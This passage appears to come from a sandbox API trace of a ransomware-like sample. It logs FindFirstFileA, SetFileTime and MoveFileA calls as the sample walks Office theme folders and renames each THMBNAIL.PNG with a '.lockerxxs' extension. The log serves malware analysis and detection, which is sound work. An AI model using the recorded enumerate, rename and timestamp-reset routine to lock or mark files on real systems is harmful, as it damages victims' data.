dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.368] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.368] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.368] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.368] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.369] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.370] CloseHandle (hObject=0x90) returned 1 [0059.370] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", lpString2="PIXEL.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" [0059.370] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", pszSpec="*.ems") returned 0 [0059.370] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.370] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.370] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.373] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.373] CloseHandle (hObject=0x90) returned 1 [0059.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.lockerxxs")) returned 1 [0059.375] lstrcmpA (lpString1=".", lpString2="PROFILE") returned -1 [0059.375] lstrcmpA (lpString1="..", lpString2="PROFILE") returned -1 [0059.375] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.376] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.376] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.376] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.376] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.378] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.378] CloseHandle (hObject=0x90) returned 1 [0059.378] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" [0059.378] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.378] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.378] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.379] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.381] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.381] CloseHandle (hObject=0x90) returned 1 [0059.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.lockerxxs")) returned 1 [0059.384] lstrcmpA (lpString1=".", lpString2="QUAD") returned -1 [0059.384] lstrcmpA (lpString1="..", lpString2="QUAD") returned -1 [0059.384] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.385] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.385] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.385] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.385] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.387] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.387] CloseHandle (hObject=0x90) returned 1 [0059.387] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" [0059.387] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.387] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.387] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.387] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.391] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.391] CloseHandle (hObject=0x90) returned 1 [0059.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.lockerxxs")) returned 1 [0059.394] lstrcmpA (lpString1=".", lpString2="RADIAL") returned -1 [0059.394] lstrcmpA (lpString1="..", lpString2="RADIAL") returned -1 [0059.394] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.396] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.396] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.396] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.396] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.398] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.398] CloseHandle (hObject=0x90) returned 1 [0059.399] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" [0059.399] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.399] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.399] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.399] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.402] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.402] CloseHandle (hObject=0x90) returned 1 [0059.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.lockerxxs")) returned 1 [0059.405] lstrcmpA (lpString1=".", lpString2="REFINED") returned -1 [0059.405] lstrcmpA (lpString1="..", lpString2="REFINED") returned -1 [0059.405] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.406] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.406] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.406] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.406] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.407] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.408] CloseHandle (hObject=0x90) returned 1 [0059.408] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" [0059.408] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.408] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.408] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.408] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.412] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.412] CloseHandle (hObject=0x90) returned 1 [0059.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.lockerxxs")) returned 1 [0059.414] lstrcmpA (lpString1=".", lpString2="RICEPAPR") returned -1 [0059.414] lstrcmpA (lpString1="..", lpString2="RICEPAPR") returned -1 [0059.414] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.416] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.416] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.416] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.416] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.421] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.421] CloseHandle (hObject=0x90) returned 1 [0059.421] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" [0059.421] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.421] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.421] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.421] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.426] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.426] CloseHandle (hObject=0x90) returned 1 [0059.426] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.lockerxxs")) returned 1 [0059.427] lstrcmpA (lpString1=".", lpString2="RIPPLE") returned -1 [0059.427] lstrcmpA (lpString1="..", lpString2="RIPPLE") returned -1 [0059.427] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.427] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.427] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.427] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.427] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.429] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.429] CloseHandle (hObject=0x90) returned 1 [0059.429] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" [0059.429] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.429] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.429] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.429] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.449] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.449] CloseHandle (hObject=0x90) returned 1 [0059.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.lockerxxs")) returned 1 [0059.452] lstrcmpA (lpString1=".", lpString2="RMNSQUE") returned -1 [0059.452] lstrcmpA (lpString1="..", lpString2="RMNSQUE") returned -1 [0059.452] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.454] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.454] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.454] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.454] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.456] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.456] CloseHandle (hObject=0x90) returned 1 [0059.456] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" [0059.456] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.456] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.457] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.457] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.460] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.460] CloseHandle (hObject=0x90) returned 1 [0059.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.lockerxxs")) returned 1 [0059.463] lstrcmpA (lpString1=".", lpString2="SATIN") returned -1 [0059.463] lstrcmpA (lpString1="..", lpString2="SATIN") returned -1 [0059.463] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.463] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.463] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.463] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.463] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.465] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.465] CloseHandle (hObject=0x90) returned 1 [0059.465] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" [0059.465] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.465] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.465] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.465] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.468] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.469] CloseHandle (hObject=0x90) returned 1 [0059.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.lockerxxs")) returned 1 [0059.471] lstrcmpA (lpString1=".", lpString2="SKY") returned -1 [0059.471] lstrcmpA (lpString1="..", lpString2="SKY") returned -1 [0059.471] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e0 [0059.472] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.472] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.472] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.472] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.474] 